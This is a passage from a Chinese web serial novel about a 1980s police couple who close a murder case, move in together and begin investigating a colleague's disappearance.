安暖是真不想过去坐,但是两个是局里的同事,一个是楚隽的哥哥,也不好看见当做没看见。表面上的和平还是要有的。 安暖只好走了过去。 放下餐盘,安暖看见桌上只放着一个餐盘,在翟琛面前,几乎吃光了。 董紫莺和祁雨诗面前没有餐盘,不是在吃饭,显然是在陪翟琛。不过她们面前有几块糕点,挺精致的小蛋糕,不是食堂里卖的款式。桌上还放着几个包装精致的纸袋。 难道说……莫非翟琛听了她之前说的话,打算勇敢一回,轰轰烈烈的追求董紫莺了? 这是好事啊,要是追上了,无论董紫莺还是翟琛,就没有心思来找她的麻烦了。 “大哥。”安暖落落大方的坐下:“董同志,祁同志。” 董紫莺和祁雨诗脸色微变。 在这之前,安暖跑了两天法医室,和祁雨诗也关系挺好,小姑娘之间的互相称呼,是很亲密的。名字昵称亲亲宝贝,怎么叫都行。闺蜜情,是可以手牵手搂着一起走的。 但现在,回到了最初。 同志这种称呼,尊重而生疏,表明了安暖的态度。 楚隽道:“大哥是来找阿隽的吗?我们刚从外面回来,这会儿他应该在审嫌疑人。” “哦,我不是来找他的。”翟琛道:“我是来找小董的,给她们带了些东西。正好,也有东西要带给你。” 安暖对翟琛给董紫莺她们带了什么东西,半点兴趣都没有。 不但问都没问一声,连眼神都没有往放在桌上的袋子上看一眼。 不关我事,我不关心。 安暖道:“带给我的东西?是什么?” 翟琛从一旁拿过一个纸袋。 安暖看了看,是小蛋糕。 就是昨天早上,在翟家吃的小蛋糕,她挺喜欢吃的,吃了两块被楚隽看出来喜欢,然后让王姨将一盘子打包走了的。芝士肉松奶油小蛋糕。 香香甜甜,如果里面能再放点水果,草莓芒果哈密瓜什么的,那就更好了。 翟琛说:“一袋是你吃过的口味,爷爷说你喜欢,特意让人又去买了一些。还有一袋,是店里另一种畅销的口味,也买了让你尝一尝,看你是不是喜欢。爷爷本来让小张给你送来的,我正好要过来,就给你带来了。” 安暖的心里一阵温暖。 这是她留在翟家的第一个理由。 爷爷是真的喜欢她,不管是未来的干孙女,还是未来的孙媳妇,爷爷的心疼都是真的。 “谢谢大哥。”安暖坦然道:“我会回去谢谢爷爷的。” “不用客气,顺路的。” 这就是他不敢跳出来反对,他妈也不敢跳出来反对的原因。 辈分大一级,压死人啊。 安暖谢完,吃饭。 真饿了。 一时间,没有人说话。 安暖吃了几口之后,抬头看三个人。 “我在,你们是不是不方便说话?”安暖说:“那我去其他桌子。” 这三个人,一个都不想沾边。 “哦,没有。”翟琛说着站了起来:“我只是来送个东西,就打算走了。” 董紫莺和祁雨诗也都站了起来。 “我们也走了。”董紫莺说:“办公室里还有事儿。” 三个人前后脚离开食堂。 安暖继续吃饭。 虽然是哥俩儿,但是翟琛好像不行啊。 安暖咬着筷子,沉思着。 就刚才三个人坐在桌子边的气氛,谁能看得出翟琛喜欢董紫莺? 她觉得,可能董紫莺自己都不知道。 这事情还是董紫莺落落大方,竟然敢对楚隽表白。她是不是应该跟楚隽说说,让楚隽给他哥传授一点经验?在要名分这件事情上,楚隽很主动,还有一点恰到好处的强势。 吃完饭,安暖拎着小蛋糕回了楚隽办公室。 她现在偶尔会有一点奇怪的感觉。 自己好像是楚隽金屋藏的娇。 这奇怪的念头啊,安暖晃了晃脑袋,把这想法给甩出去。 她才不是,她一点都不娇,她是冷酷无情霸王花。 安暖又抽出一张卷子。 不要让无用的情绪,浪费做正事的时间。 楚隽一直到八点多才回来,但是脚步轻快。刑警队的其他人跟在后面,虽然不至于欢声笑语,但从说说笑笑的声音中,也能听出一二。 看样子是搞定了,安暖抬头伸了个懒腰。 太好了。 楚隽推门进来了。 不用想,就知道安暖在做卷子。 她虽然坚决说自己不想去上学,但她是真的好学。没事儿的时候都在看书,现在又加了做卷子这个项目。 别的不说,就这一点,他都愿意相信,成功是努力和天才的结合。 “怎么样?”安暖迎了上去:“禹志坚是凶手吗?” 楚隽点了点头。 第123章 受害者的罪 “太好了。”安暖一下子放心了:“怎么回事,这人是不是盛寻雪的男朋友。” “是,真正的青梅竹马,地下情人。”楚隽道:“两个人从小关系就好,但是盛家看不上禹家的条件,是绝对不会同意的,所以两个人一直是秘密交往。他们想着,等时间长一点,等盛寻雪的年纪大一些之后,父母可能就会慢慢松口。” “那为什么闹翻?是不是禹志坚身体不好?” “嗯,也不是完全不行,但确实有些问题。”楚隽说:“我已经调了之前他在医院的检查报告,虽然不至于和盛寻雪做一对精神伴侣,但也就是,凑合凑合吧。” “但是他们俩的感情很好,香山就是他们常去的地方了。禹志坚是文艺青年,谈情说爱不在话下。” “这种状态本来一直维持着,一直到去年上半年,出了一件事情,让这种温和的关系维持不下去了。” 安暖奇道:“什么事情?” “盛寻雪被在外出谈业务的时候,有一天回来的晚,被人侵犯了。” “啊?”安暖万万没想到,还有这么一件事情:“她,当时没有报警?” “没有。”楚隽面色沉重:“这种事情,虽然女性是受害者,但因为社会舆论和根深蒂固的封建思想,受害者在得到一部分同情的同时,也会受到其他伤害。被人指指点点,甚至将责任更多地推在受害者身上。这就导致很多女性在受到侵害的时候,宁可自己咽下苦果,也不敢报警。让犯罪分子更加嚣张。” 盛寻雪虽然是个大大咧咧的姑娘,在这一点上,却也不能免俗。 这事情,只有禹志坚知道。 禹志坚是个仔细细心的人,立刻就察觉到了女朋友那段时间的问题,也问了出来。 安暖道:“之后,他们俩的感情出问题了?” “这倒并没有。”楚隽道:“禹志坚这方面做得不错,并没有因为此事对盛寻雪有什么偏见。但是盛寻雪自己,出了一些问题。” “什么问题?” “就是我们之前说的……食髓知味。我也不知道能不能算是,你知道有一种症状,被绑架的人,在受到虐待之后,会爱上绑匪吗?” “斯德哥尔摩综合症?” “对。”楚隽道:“盛寻雪没有爱上凶手,但是她爱上了那种刺激疯狂的感觉,可禹志坚没有办法给她这种感觉。于是,一次意外,她找了酆邦辉兄弟。但天下没有不透风的墙,这件事情,被禹志坚知道了。” 禹志坚爱的绵长,又有些自卑。虽然盛寻雪被歹徒侮辱的事情他表现的很豁达,但这始终是一根扎在心里的刺。 这根刺,让他渐渐心生怀疑,长成了参天大树。 楚隽道:“就是因为这件事情,两个人本来平淡的感情出了问题。虽然盛寻雪和酆邦辉分手了,但是,她和禹志坚也过不下去了。盛寻雪要分手,禹志坚不愿意,两人因此发生了矛盾。香山桃花树下,是他们定情的地方。案发当天,禹志坚做好了准备,将盛寻雪约了过去。” 这是禹志坚说好的分手条件,像他们从前一样,夜游香山。 盛寻雪同意了,并且像往常一样,和父母编造了一个理由。 因为工作关系,盛寻雪也会去外地出差,不会时间太长,但是两三天都很正常,所以在刚失踪的时候,盛寻雪的父母并没有觉得奇怪,更没有报警的想法。一直到警察找到了盛寻雪的头颅,还原出长相,这才找到人。 只是她没想到,这一次上了香山,就再也没有能下山。 禹志坚做了万全的准备,带了工具,在他们曾经去过许多次的桃花树下,将人分尸。 那几日,禹志坚父母没在家中,去亲戚家了。家里只有他自己一个人,他悄悄地出门,悄悄地回家,一切都在夜色的掩护中,无声无息,没有人知道。 虽然只是一条人命,其实不算什么大案子,但这案子前因后果,却实在叫人唏嘘。 安暖道:“那个凶手……就是侵害过盛寻雪的凶手,还有可能找得到吗?” 归根到底,他才是罪魁祸首。 “很难。”楚隽实事求是:“这件事情盛寻雪只对禹志坚透露过一点点,没有对任何其他人说过。如今盛寻雪也死了,想找这个凶手,根本无从找起。” 这都不是大海捞针了,是大海里根本都不知道要捞什么。 除了知道这八成是个男人,其他一无所知。 安暖明白,点了点头。 这也是没有办法的事情,勉强不来,警察只是警察,也不是神仙。 看着安暖心情不太好的样子,楚隽又道:“不过你放心,这个凶手虽然不好查。但这件事情,是现在社会上一个比较复杂的问题,一定会有后续的推动。” “嗯,我明白。” 严打,严打嘛。 第一次严打是去年下半年才开始的事情,每一个社会问题,都是需要一段时间才能解决的。而且,也不可能完全解决,这是没办法的事情。 不能说太多,不能影响历史进程。 为了这个案子,刑警队也算是忙了这些天,如今凶手落网,大家都松了口气。 收拾收拾下班。 “对了,你刚才要跟我说什么事情?”安暖将翟琛送来的蛋糕拿了一袋子出来给大家分,一边分,一边问楚隽。 楚隽从袋子里拿了一块塞进嘴里。 “这是爷爷叫人送来的?” “算是吧。”安暖说:“是大哥送来的,他是来找董紫莺的,顺便把爷爷给我买的蛋糕送来,我在食堂碰见他了……对了,你们是不是都没吃饭呢?” 以她的了解,这些人忙起来,肯定不会准点吃饭。 “还……”楚隽没说出一个没,嘴里就又被塞进了一块蛋糕。 “走,先吃饭。”安暖拽着楚隽往外走:“边吃边说,对了,你要跟我说什么?” “嗯,说我们俩住的事情。”楚隽说:“昨天那房子,你觉得怎么样?” “挺好的呀。” “住得舒服吗?” “挺舒服的。” 确实挺舒服的,虽然没睡好,但是确实跟房子没关系。 安暖在心里责任分明,是我自己的问题,与房子无关。 第124章 同居之前 “嗯,那房子装修还挺新的,我觉得住着也还挺舒服。”楚隽说:“因为确实离单位近,真的很方便。所以我想着跟你商量,要不要咱们搬到这边来住。周一到周五,就近住。周五回老宅,周日过来。” 楚隽这么一说,安暖也觉得不错。 就算有车,每天一个小时的车程也挺麻烦的。 单程一个小时,来回就是两个小时。如果再堵个车什么的,三个小时也不是没有可能。 安暖是从更堵车的未来来的,对上班开车一个小时觉得很适应,但是如果这一天两三个小时能节约下来,那当然更好了。 安暖当下就点了点头。 “好,我觉得挺好的……”安暖刚答应了,顿了一下:“不是,那要是搬过来了,就我们两个单独住了吗?” 安暖一脸无辜地看着楚隽。 这样是不是有点不好。 “是的。”楚隽正色道:“如果搬过来,就是我们俩住了。总不能说,把爷爷也搬过来吧。” 安暖捂了捂脑门。 楚隽这是什么神奇的想法。 “所以我想征求一下你的意见,毕竟咱们没有结婚,住在一个屋檐下,同进同出,对你可能多少有些……影响。当然你不用担心,我们一人睡一个屋子,我不会造次的。” “哦哦哦。”安暖回过神来:“我不是这个意思,不是不相信你。我意思是,我同意,但是爷爷会同意吗?” 楚隽笑了一下。 “爷爷肯定同意。” “真的?” “当然。”楚隽道:“爷爷巴不得我们俩多接触,早结婚,最好是明年就能给他添个大孙子。” 安暖毫不犹豫地把楚隽的嘴捂住了。 行了别说了,知道了,爷爷最着急。 但这是不可能的,生孩子这件事情,不是三五年计划之内的事情。 还有好几个和他们一起去吃饭的,走在前面聊着天。 卢瑞泽一回头,看见安暖正在捂楚隽的嘴,哈哈一笑。 他毫不犹豫地开口:“楚队,你们小两口在聊什么呢,不是什么少儿不宜的话题吧?要不你看小安都捂你嘴了。” 卢瑞泽一喊,大家一起回头。 安暖连忙收回手。 楚隽上前两步,在卢瑞泽屁股上踹了一脚。 “就你话多,不说话没人把你当哑巴。” 卢瑞泽哈哈一笑,跑了。 安暖陪楚隽去食堂吃了个饭,开车回老宅去。 要搬也不是今天搬,要回老宅去跟一大家子都打个招呼。 还要搬点东西。 洗漱用品都有,楚隽的衣物也都有,但是安暖没有衣服,得回去拿一些衣服和个人用品。 楚隽在车上跟安暖商量:“你放在老宅的衣服也不多,我的意思,你随便拿两件这两天换洗一下,等周末我们去逛街,再去买一些。衣服总不能拿来拿去的,所以两边都得放一些。” 安暖点了点头。 “好。” 这就是父母一个大家,小两口一个小家,既然以后上班时间都会住在三室套里,确实该有的都得有。又不是临时住一两万。 安暖一点儿都不跟自己见外,楚隽挺高兴的。 他是个挺直接的人,不喜欢那么多的弯弯绕。他喜欢安暖,也有这部分原因,安暖也是个直接的人。 不会勾心斗角,不会拐弯抹角,就算有一千个一万个心眼,也不会用在身边人身上。 回了家,家里已经吃过了,不过还没睡。 翟琛也在,正在和老爷子下棋。 楚母和王姨坐在一边,一边看,一边嗑瓜子。 十分和谐。 两人进门,大家一起看过来。 “今天回来得挺早啊。”翟老爷子说:“吃了吗?” “爷爷,吃过了。”楚隽走过去:“妈,大哥。” 安暖也走了过去:“爷爷,伯母,大哥。” “暖暖。”翟老爷子招了招手:“过来坐。” 王姨连忙让出位置。 安暖坐到翟老爷子身边:“爷爷,今天大哥给我送了小蛋糕过来,说是您特意给我买的,特别好吃。” 翟老爷子哈哈一笑:“我就知道你喜欢,下次还叫人给你买了,买了给你送过去。” 安暖毫不客气应着:“好,谢谢爷爷。” 对不缺钱也不缺人的老人家,不要和他客气。过多的客气,只会让对方觉得难过。 将老人家的善意坦然接下,对方才会更开心。 翟老爷子笑眯眯地继续下棋,安暖对这个不太懂,但是看得出来,反正翟琛没占上风。但是技术问题还是什么问题,就不好说了。 看着下了一会儿棋,楚隽说:“爷爷,妈,我有件事情想和你们商量一下。” “什么事儿?” 楚隽道:“我和暖暖,想搬出去住。” 翟老爷子吓的棋子都掉了。 楚母一下子站了起来,还是翟琛拽了她一把,这才重新坐下。 “怎么回事?”楚母忙道:“你们怎么突然要搬出去……你们俩……” 楚母这会儿心里慌得狠。 这年轻男女,干柴烈火的,早上一起出门,晚上一起回家,偶尔晚上还不回家,一天天的,也不知道都在外面干什么。 虽然她相信自己儿子是个正人君子,但也是个热血方刚的男人,情到浓时,未必就不会意乱情迷。 “是。”楚隽道:“是这样的,家里住着虽然舒服,但是离单位远了些。我这工作时间又不固定,还经常加班,一来一回花的时间太多。所以我想着,和暖暖搬到单位边上,我之前买的那个三室套里去住,这样方便一些。” “哦,原来是这样。” 翟老爷子想了想:“住得近些,确实是方便一些。不过这是你的意思,暖暖呢,暖暖愿意吗?” 翟老爷子看安暖。 他大概有点害怕自家孙子霸王硬上弓,毕竟这事情对女孩子的影响要大一些。 “我愿意的。”安暖连忙道:“爷爷,您别多想,真的是为了上班方便。昨天我去那房子看了,有三个房间呢,我们一人住一间,很方便的。” 这可不能算同居,最多算室友。 “原来是这样。”翟老爷子点点头:“那我没有意见。你们上班的时候就近住,周末回来,陪爷爷。” “好的。” 翟老爷子想了想,说:“阿隽,你跟我来一趟,我有话要跟你说。” 第125章 女朋友福利 楚隽跟着翟老爷子回了房间。 安暖也道:“伯母,大哥,我也先上楼了。我回去收拾一些东西,今天晚上我们就打算搬去那边住。” “今天就搬?”楚母愣了一下,抬头看了看楼上。 翟老爷子和楚隽已经进门了,门也关上了。 “是,明天一早还要上班。”安暖说:“今天晚上在那边睡,明天早上就能多睡一个小时了。” 安暖最质朴的愿望就是多睡会儿,没有杂念。 这么简单淳朴,让楚母说不出什么话来。 说多了,好像自己很复杂一样。 一个人,就算是心里想得再多,可如果她要维持自己的形象,很多事情就不能做,很多话,就不能说。 楚母就是这么纠结的一个人。 她维持了这么多年的形象,不愿意让自己成为一个恶婆婆。而且,她并不能完全控制楚隽,万一楚隽真的铁了心和安暖在一起,撕破了脸,日后就不好相处了。 “好,那你去收拾吧。”楚母说:“要是有什么缺的,开个单子让王姨去买。” “好的,谢谢伯母。” 安暖也上了楼。 收拾衣服。 翟老爷子把楚隽叫进了房间里,说了一通。 过了一会儿,才被放出来。 离开的时候,上了车,安暖好奇问道:“爷爷都跟你说什么了?” 楚隽微微一笑:“你猜。” “我猜啊……”安暖想了想:“爷爷肯定是敲打你了,是不是?” “瞒不过你。”楚隽也不瞒着:“爷爷让我注意点,结婚之前要有分寸,不能越界。万一以后我们俩没成,不能坏了你的名声。再万一……” 楚隽没说下去了。 安暖正听着呢,不由追问道:“万一什么?” 楚隽没说话。 安暖细细的看了看。 楚隽竟然有点脸红。 安暖一针见血的指了出来:“楚隽你脸红了。” 于是楚隽的脸更红了。 好在也深了,光线暗,不明显。 “你干嘛脸红?”安暖奇怪道:“爷爷还说什么了?” 楚隽顿了顿,道:“爷爷说,万一我们俩没忍住做了什么,就赶紧结婚,让我对你负责。” 老爷子想的很周到,最好婚前要守礼,万一真没守住,就要负责,也不失为一个男人。年轻人嘛,大家都年轻过,理解,理解。 回到三室套已经是十点半了,楚隽帮安暖把各种东西都搬回去,但是也不用着急收拾。 “先把换洗衣服拿出来就行。”楚隽说:“今天挺晚了,先休息,有空的时候再慢慢收拾。” “好。”安暖一边收拾,一边问:“对啦,你早上喜欢吃什么呀。我看厨房里什么都有,明天早上我给你做早饭。” “这么好?”楚隽十分意外:“暖暖,你可不像是喜欢做饭的人。” “不喜欢,但也不讨厌,偶尔做一回还是可以的。”安暖说:“不过手艺不能跟王姨比,我只会做一些基本的菜式。早饭的话,可以煮面条,煮稀饭,炒个蛋炒饭什么。再复杂就不行了。” 安暖掰着手指头将自己会做的数了一遍。 会的真不多,不过不要紧,楚隽找对象不需要对方做家庭主妇,就算是不上班,那也是全职太太。三室套这边,也有人定时来收拾卫生什么的。打算住进来的时候,楚隽也说了,可以让阿姨每天来做饭。 “会的挺多的。”楚隽说:“这样,早饭咱们就不要自己做了,你要是不想吃外面的,我叫阿姨早上过来做,这样你可以多睡一会儿。我知道你早上起床困难,没必要为了一口吃的早起。” 安暖很感动。 就冲这,她觉得楚隽是个能共度一生的人。 楚隽继续道:“如果你想自己动手做点吃的,咱们可以做晚饭。隔壁就有菜市,我们可以下班去买菜,然后回来一起做饭。” 两人有商有量的,商量着商量着,突然不约而同的停了下来。 好像是夫妻俩过日子的感觉啊。 两人对视一眼,突然觉得有点尴尬。 “行。”安暖飞快说:“那就这样,我去睡了。” 两人对视一眼,转头各自进了房间。 空气里,有一种若有若无,清清淡淡的暧昧气息。 回房间关了门,安暖摸了摸自己的脸。 她觉得翟老爷子考虑的也不无道理,孤男寡女,同在一个屋檐下,又互相有好感,可能真的没有办法相安无事的住半年。 只当室友,这有点考验人性了。 人性可不分男女。 就算楚隽是个正人君子,她也不敢保证什么。 安暖去洗了个澡,冷静下来。 她这次有备而来,带了睡衣,换上睡衣,找条大毛巾擦着头发,十分舒服。 看看时间也不早了,便打算靠在床上看会儿书就睡了。 没想到呢,刚躺下呢,楚隽就来敲门了。 “我看你灯没关,睡了么?”楚隽说:“没睡的话,有个事情跟你说。” “没睡呢。” 楚隽便开门进来了。 楚隽也已经洗过澡了,头发还滴着水。 他也换上了一身睡衣,不过在家里穿得比较随便,扣子没扣两颗,露出一片胸膛。 很养眼。 安暖真想跟他签一个在家不得衣衫不整的协定,但是考虑到他们是男女朋友,这也算是自己正常的福利,还是没开口。 “怎么了?”安暖将被子往上拽了拽:“还有什么事儿?” “你上学的事情。”楚隽说:“你不是跟我说,想要弄个文凭吗?” “对对对。”安暖立刻来了精神:“我就是想要个文凭,但是我不糊弄,我可以去考试,一定能考过,不走后门。” “我知道,我相信你,我也不可能给你买一个文凭骗人。”楚隽说:“是这样的,我联系了几家学校,因为考虑你之前的只上了小学五年级,还是要循序渐进。” 安暖有点失望,还是道:“我不会要从六年级开始上学吧?” “那倒是不必。”楚隽道:“我找了一家初中,周末我带你过去一下,学校要测试一下你现在的水平,看看能进哪个年级。如果你考得好,可以直接进初三,然后,不必参加日常学习,但是要参加每一次考试。考试通过,你可以继续自学。如果考试没有通过,就必须去上课。” 第126章 赚了一块钱 安暖一听,立刻来了精神,盘着腿坐了起来。 “真的吗?我可以不上课,只考试?” “对,现在是十月份,我的意思,下半年你就跟着初中的课程考,如果期末考试能过关,等过完年开学,就可以去高中。” 安暖眼前一亮。 “可以吗?” “当然可以,只要你有真本事,能考过卷子,这就不是走后门,顶多算是破格录取,不拘一格降人才。” “好。”安暖拍了一下床:“那就太好了,你放心,我一定能考过,不给你丢脸。” 楚隽转头看了看床头柜上放着的一摞书:“我相信你,你这么优秀,做什么都会成功的。” 安暖想了想,纠正了一下。 “你应该说,我这么聪明,做什么都会成功的。” 安暖时刻不忘给楚隽灌输自己是天才的思想。 “对,你说得对。你聪明又努力,肯定能成功。”楚隽探过身,拿过最上面一本:“要是有什么不懂的,随时来问我。” “好。” “那好,那……我就去睡了,你也早点睡。” “好。” “晚安。” “晚安。” 安暖应着,但是楚隽却不走,还在床边上站着。 “怎么了?”安暖奇道:“还有什么事儿吗?” “嗯……”楚隽迟疑道:“你看,咱们现在是男女朋友了。” “没错。” “那……”楚隽摸摸嘴唇:“我是不是可以要一个晚安吻。” “……” 安暖只觉得脑门垂下几条黑线。 这么时尚潮流的词儿,竟然从楚隽口中说出来,有点让她意外。 楚隽说完,就盯着安暖,目光灼灼。 安暖心飞速地跳了两下,伸手捂住楚隽的眼睛。 之前还觉得翟老爷子是过滤了,楚隽那么正经的一个人,怎么可能做出婚前越界的事情来。但是现在看来,要是在一个屋檐下朝夕相处,确实容易走火。 “不许看了。”安暖说:“给你一个晚安吻,乖乖回去睡觉。” “好。” 楚隽老老实实地坐着,一动不动。 安暖凑了过去,在楚隽脸上亲了一下。 楚隽勾起唇角。 虽然有一点失望吧,但是也有一点满足。 安暖拿开手:“楚队长,回去睡觉。要做正人君子哦。” “好。” 楚隽笑了一下,起身出了门。 这天晚上,轮到楚隽失眠了。 第二天一早,雷打不动地跑步锻炼,回家洗澡吃早饭。 正吃这饭呢,有人敲门。 安暖坐得离大门近,就去开了门。 门口站着个女人,手里捧着一把鲜翠欲滴的向日葵。 “你是……楼下鲜花店的店员?” “是。”女人说:“这是楚先生定的花。” 女人将向日葵给递了过来。 安暖茫然接过,回头看楚隽。 楚隽放下筷子走了过来。 “对,这是我定的。”楚隽说:“我看你挺喜欢花儿的,就跟楼下的花店定了货。每隔三天送一束上来。周姐,你带花瓶了吗?” “带了。” 店员身边还有个箱子,将花递给安暖之后,拿起箱子。 里面是一个玻璃花瓶。 楚隽想得真是周到。 店员将花瓶拿出来,说:“楚先生,这是您要的花瓶。” 楚隽接了花瓶,道了谢。 店员走了,安暖关上门。 楚隽给花瓶接上半瓶水,将向日葵插在里面。 端详了一下,挺满意。 “别说,家里多了一瓶花,是挺好看的。”楚隽说:“我跟花店说了,让他们换着花样送新鲜的。虽然你喜欢白玫瑰,但也不用千篇一律天天都是白玫瑰。” 安暖拨弄了一下向日葵。 “嗯,好看。谢谢你,我很喜欢。” 有心,愿意用心,还有钱去用这个心,谁能不喜欢呢? 安暖有时候觉得,长期以往,想要保持本心,真的是一件不容易的事情。 “喜欢就好。”楚隽拿了安暖的包:“走,上班。” 盛寻雪的案子破了,大家可以轻松一阵子,不过楚隽没得轻松,他还要写报告。 安暖像是小学生一样,抱着书和卷子,扎根在了楚隽办公室。 看书,做卷子。 继续看书,看笔记,做卷子。 楚隽办公室里,来来去去一波又一波的人,都会过来看两眼,顺便看看安暖做题。 安暖很快就火了。 毕竟单位上上下下都知道安暖只有小学五年级的文凭,现在正在做初中卷子想考初中,字迹娟秀,下笔流畅。 楚隽写完报告,拿过安暖刚做的一套英语卷子看了起来。 “暖暖。” “嗯?怎么样,多少分?” “九十五……”楚隽哗啦啦写了分数:“不错啊,只是错了一些细节。” 安暖挑了挑眉,得意之情溢于言表。 楚隽把椅子拽过去,和安暖做在一起。 “暖暖,以前你说自己是天才,我不信。但现在,我觉得你说的是真的。”楚隽说:“你既然学习能力那么强,有没有考虑过……” “考虑什么?” “考虑一下,走学术这条路呢?”楚隽认真道:“你老乡不是在清大做老师吗?清大是国内最顶尖学府,你如果有这么强的学习能力,我觉得你也可以。至于学费什么的,你不用担心一点,不用着急上班,我可以支持你一直学下去。” 安暖只觉得一阵头皮发麻。 学习是一件很愉快的事情吗?别闹了。 “不不不。”安暖连忙捂住楚隽的嘴:“别说了,天才只代表学得快,不代表想学习啊。” 这道理真是无懈可击。 “那好吧,看你喜欢。”楚隽看了看时间:“学了一上午了,休息一下。我给你按按肩膀。” 安暖伸了个懒腰,楚隽走到她身后,手放在肩上,给她捏一捏。 “力道怎么样?” “很好,不错。”安暖闭着眼睛享受:“小楚干得不错,一会儿给你小费。” 于是楚隽忙活了十分钟,得到了一块钱小费。 他十分满意地把一块钱放在口袋里:“走,哥哥有钱了,哥哥请你吃饭。” 楚隽在大部分时间都挺成熟,但也有不靠谱的时候,好像只有三岁。 到了食堂,正是吃饭的时候,坐了不少人。 楚隽和安暖打了饭菜,四下一看,正好没有位置,唯一的一处空位置上,坐着祁雨诗。 却没见着董紫莺。 “咱们要不拿回办公室吃?”楚隽低声道:“你不想见到祁雨诗吧?” 安暖点了点头:“好,虽然也没有什么矛盾,但确实没话说,好像多少有些尴尬。” 没有必要表现得针锋相对,但短时间内也不想见到。 两人正要转身走,突然听见祁雨诗喊。 “楚队。” 第127章 边界感 楚隽和安暖脚步一顿。 本来还想当做没看见,现在祁雨诗都开口喊了,总不能装做没听见。毕竟还是一个单位的同事,表面工作最好做一做。 “没事儿。” 安暖先转了身。 祁雨诗坐在位子上,朝楚隽挥手,低声道:“楚队,楚队。” 两人走到桌边,将餐盘放下,坐了下来。 “小祁,有什么事情吗?” “楚队。”祁雨诗有些尴尬道:“小安。” 安暖点了点头:“祁同志。” 同志就是同志,她们现在的关系,就是同志和同志的关系,别套近乎。 祁雨诗道:“楚队,今天紫莺没来上班。” “嗯?” “她没有请假,也没来上班,我有点担心。” 安暖看着祁雨诗,有一点不满意。 楚隽还没说话,安暖就先说话了。 既然已经给了楚隽名分,就得替他挡桃花。安暖是有心理准备的,楚隽这样优秀的男人,就算是再不给好脸色,也一样会有很多姑娘喜欢,这是不可避免的。 楚隽道:“祁同志,你是觉得董法医一上午没来上班,失踪了吗?” 祁雨诗有些支吾:“不,不是这个意思。” “那你是什么意思?”安暖不满道:“祁同志,你知道什么是避嫌吗?” 祁雨诗愣了一下。 “避嫌的意思就是,董同志和楚隽之间,不适合有私事,容易有风言风语,牵扯不清。如果是公事,你要是觉得董法医失踪了,或者遇到了什么困难,你可以报警。这里就是警局,很方便,事情安排到刑警队,楚隽自然会责无旁贷,尽心尽力。” 安暖的声音不大不小,不卑不亢。 自己的利益,需要自己来维护。既然名正言顺,安暖从来都不怂。 楚隽正色点头。 “是,暖暖说的是。”楚隽道:“我现在也算是有半个家室的男人,确实需要注意影响。小祁,如果你真的觉得董法医有危险,你去找江副队跟他把情况说一下。” 都是同事,楚隽也不会不管,但这里这么多人,不是只有他能管。 祁雨诗被这么一说,心里有再多的话,也说不出口了。 “好,我去找江副队。”祁雨诗干笑了一下:“不好意思楚队,麻烦了。” 说完,祁雨诗就走了。 安暖很满意。 前阵子短剧看了不少。 一般追妻火葬场的男主,都是没有边界感的。 比如说,女二女三白月光,只要一个电话就能把男主喊走。就算清清白白,也叫人觉得膈应。 明明遇到歹徒可以找警察,生病不舒服可以找医生,但是非要事事找男主,让人火大。 祁雨诗走后,两人继续吃饭。 楚隽从餐盘里夹了块排骨给安暖:“这块排骨好,有脆骨……” “嗯。”安暖一口咬下去:“好吃。” 小情侣就是这样,你一口,我一口,黏黏糊糊的。 咽下排骨,安暖道:“楚隽,刚才祁雨诗找你,我确实觉得不太好。但董法医的事情,你要不要问问,万一真的有事儿呢?毕竟是同事。” “没事儿,你不用担心。”楚隽道:“江副队会处理的,如果真的有什么严重的事情,他处理不好,会联系我的。” 楚隽这么一说,安暖就放心了。 董紫莺只是一上午没来上班,说不定有些什么私事,祁雨诗太紧张了。 而且,江副队也是有经验的刑警,能处理绝大多数问题。 两人吃了饭,回到办公室。 刚进门,就碰见江笑愚急匆匆的出来,祁雨诗就跟在身后。 “楚队。”江笑愚说:“小祁说,董法医可能出了点事,我带她过去看看。” “好,你们去吧,注意安全,有什么事情及时联系。” 江笑愚和祁雨诗一走,开始大家还没有多想,可是到了下午三点,两个人还没有回来。 安暖觉得有点不对劲了。 “楚隽,你知道董法医家有多远吗?” “不知道。”楚隽皱眉道:“我没注意过。不过每天要上下班,也不可能住的太远。老江是开车去的,一去一回,三个小时怎么都回来了。” 董紫莺平时是坐公交车上下班的,再远也不可能开车两个小时单程。不然的话,坐公交得多久啊,根本不现实。 安暖道:“要不打电话去法医室问问,法医室肯定知道。” 现在不止是一个董紫莺了,还有祁雨诗,还有江笑愚,楚隽不能不放在心上了。 一个电话打到了法医室。 法医室的人果然知道董紫莺的地址,开车过去半个小时绰绰有余。 “不对劲。”楚隽脸色也沉重了起来:“半个小时车程,来回一个小时。老江不该还没回来,如果遇到了什么事情自己处理不了,也应该要打电话回来才对。” 话音刚落,电话响了。 楚隽立刻接了电话。 是江笑愚。 “楚队。”江笑愚说:“董法医出事了。” “怎么回事呢?” “董法医失踪了。” “仔细说。” 江笑愚说:“我和祁雨诗到了董法医家,发现她没在家。左右邻居也说不出她去了哪里。她是一个人住,父母家人都不在京市。我和祁雨诗又去了几个她常去的地方,但是都没有找到人。然后我们又回了董法医家,撬门进了屋子,发现董法医的房间有些不对劲。” “怎么不对劲。” “这还是祁雨诗发现的。”江笑愚说:“我们进了房间,开始没有发现有什么问题,但是进了卫生间,祁雨诗说,董法医家里只有她一个女性,她去过很多回,她家的马桶坐垫都是放下的,但是这一次,被掀起来了。” “我知道了。”楚隽道:“我立刻带人过去。” “真的出事了?”安暖心里一紧,但立刻反应过来:“让痕检跟一个人过去。董法医既然是独居的,如果有人入侵,一定会留下指纹。” 提取指纹,和最有可能的人比对,可以最快的筛选出一手信息。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了爪机书屋更新速度全网最快。 第128章 别想道德绑架 江笑愚给了一个准确的地址,楚隽叫了痕检的云松德,喊上卢瑞泽,带着安暖匆忙出了门。 失踪这事情可大可小,可能只是一场误会。但如果不是一场误会,是真正的出了事故,黄金二十四小时之内,是最佳救援时间。多浪费一分钟,董紫莺就会多一分危险。 车上的气氛有点沉重,云松德和董紫莺在一层楼工作,比起和楚隽,要更熟悉一些。 路上,楚隽问:“阿德,董法医的情况,你知道多少。家里的情况,个人的情况,有什么了解吗?” 看出来了,楚隽对董紫莺确实是没有什么了解,虽然董紫莺喜欢他,但有些过于含蓄了。在这一点上,董紫莺和翟琛还真是天生一对。 “我知道的也不多,只知道她是一个人住在京市。”云松德说:“我听说董法医不是本地人,在京市上的大学,毕业后就一直留在京市,所以是独居。最近……最近她家里不知道是不是发生了什么事情……” “为什么这么说?” 云松德沉吟着:“我觉得董法医最近的心情不太好,虽然工作的时候没什么问题,但是休息的时候和大家聊天总有点心不在焉。” 